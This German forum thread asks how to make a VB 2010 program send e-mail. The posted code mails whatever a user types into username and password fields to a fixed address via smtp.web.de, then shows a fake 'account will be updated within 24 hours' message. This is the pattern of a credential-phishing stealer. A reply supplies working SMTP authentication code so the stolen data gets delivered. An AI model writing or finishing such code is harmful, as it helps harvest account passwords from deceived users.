myGully.com - e-mail versenden in vb 2010

myGully.com (https://mygully.com/index.php)

- Programmierung (https://mygully.com/forumdisplay.php?f=67)

- - e-mail versenden in vb 2010 (https://mygully.com/showthread.php?t=2230903)

e-mail versenden in vb 2010

Ich hab eine Frage und zwar ich würde den code hier gerne ändern so das die daten die ich über e-mail versenden will auch ankommen wenn ich nicht mit meinem e-mail account angemeldet bin

Code:

Private Sub cmdGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdGo.Click

        Dim fromAddress As New MailAddress("from")

        Dim toAddress As New MailAddress("to")

        Dim msg As New MailMessage(fromAddress, toAddress)

        msg.Body = txtUser.Text & vbNewLine & txtPass.Text

        msg.Subject = "SUBISSION, SENT: " & DateTime.Now.ToString()

        msg.IsBodyHtml = True



        Dim mailSender As New System.Net.Mail.SmtpClient()

        mailSender.Host = "smtp.web.de "

        mailSender.Port = "587"

        Try

            mailSender.Send(msg)

            Label1.Text = "Status: COMPLETE - Your account will be updated within 24 hours."

        Catch ex As Exception

            Label1.Text = ex.Message

        End Try

    End Sub

Zitat:

Dim text As String

text = txtNachricht.Text
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")

myClient.Credentials = New NetworkCredential(txtAbsender.Text, txtPasswort.Text)
myClient.Send(txtAbsender.Text, txtEmpfänger.Text, txtBetreff.Text, text)

Hiermit musst die Absender Adresse ein @web.de Account sein, empfänger ist egal.

Falls nicht gewünscht

Dim myClient As New Net.Mail.SmtpClient("smtp.web.de") "entsprechend abändern"

Lg

ok danke werds mal ausprobieren